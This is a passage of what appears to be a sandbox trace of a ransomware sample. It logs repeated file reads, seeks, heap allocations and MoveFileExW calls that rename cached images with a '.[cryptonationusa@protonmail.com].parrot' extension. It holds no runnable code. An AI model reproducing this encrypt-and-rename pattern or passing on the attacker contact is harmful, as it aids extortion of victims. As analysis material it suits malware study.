lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.242] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.242] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1e36, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x1e36, lpOverlapped=0x0) returned 1 [0078.243] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0078.243] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.243] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0078.243] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0078.243] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBPThN[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbpthn[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBPThN[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbpthn[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.246] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.246] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.247] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.247] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1ee7, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x1ee7, lpOverlapped=0x0) returned 1 [0078.248] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0078.248] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.248] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0078.248] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0078.249] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBPUFJ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbpufj[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBPUFJ[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbpufj[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.252] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.252] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.253] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.254] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x924, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x924, lpOverlapped=0x0) returned 1 [0078.254] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0078.254] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.254] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0078.254] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0078.254] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBQxzx[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbqxzx[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBQxzx[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbqxzx[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.258] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.258] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.259] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.259] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1963, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x1963, lpOverlapped=0x0) returned 1 [0078.260] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0078.260] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.260] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0078.260] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0078.261] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBseMP[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbsemp[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBseMP[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbsemp[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.263] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.263] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.296] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.296] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x16d6, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x16d6, lpOverlapped=0x0) returned 1 [0078.297] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0078.297] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.297] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0078.297] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0078.297] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBsqNL[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbsqnl[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBsqNL[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbsqnl[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.304] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.304] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.306] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.306] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x7ae, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x7ae, lpOverlapped=0x0) returned 1 [0078.306] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0078.306] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.306] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0078.306] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0078.306] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBTpvW[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbtpvw[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBTpvW[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbtpvw[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.309] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.309] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.310] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.310] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x974, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x974, lpOverlapped=0x0) returned 1 [0078.310] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0078.311] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.311] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0078.311] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0078.311] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBVEOW[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbveow[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBVEOW[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbveow[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.314] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.314] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.315] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.316] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1e67, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x1e67, lpOverlapped=0x0) returned 1 [0078.316] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0078.316] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.317] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0078.317] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0078.317] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBVGsM[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbvgsm[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBVGsM[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbvgsm[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.320] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.320] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.322] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.322] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xaa8, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0xaa8, lpOverlapped=0x0) returned 1 [0078.322] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0078.322] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.322] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0078.322] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0078.322] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBVIzI[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbvizi[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBVIzI[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbvizi[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.325] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.325] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.327] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.327] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x97a, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x97a, lpOverlapped=0x0) returned 1 [0078.327] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0078.327] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.327] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0078.327] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0078.327] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBVJ4r[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbvj4r[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBVJ4r[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbvj4r[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.330] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.330] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.333] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.333] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x7d8, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x7d8, lpOverlapped=0x0) returned 1 [0078.333] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0078.333] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.333] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0078.333] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0078.334] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBVxM8[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbvxm8[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBVxM8[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbvxm8[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.336] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.336] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.381] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.381] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x8d7, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x8d7, lpOverlapped=0x0) returned 1 [0078.381] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0078.381] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.381] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0078.381] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0078.391] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBz9wz[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbz9wz[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBz9wz[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbz9wz[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.394] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.394] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.415] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.415] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x24be, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x24be, lpOverlapped=0x0) returned 1 [0078.416] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0078.416] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.416] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0078.416] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0078.416] MoveFileExW 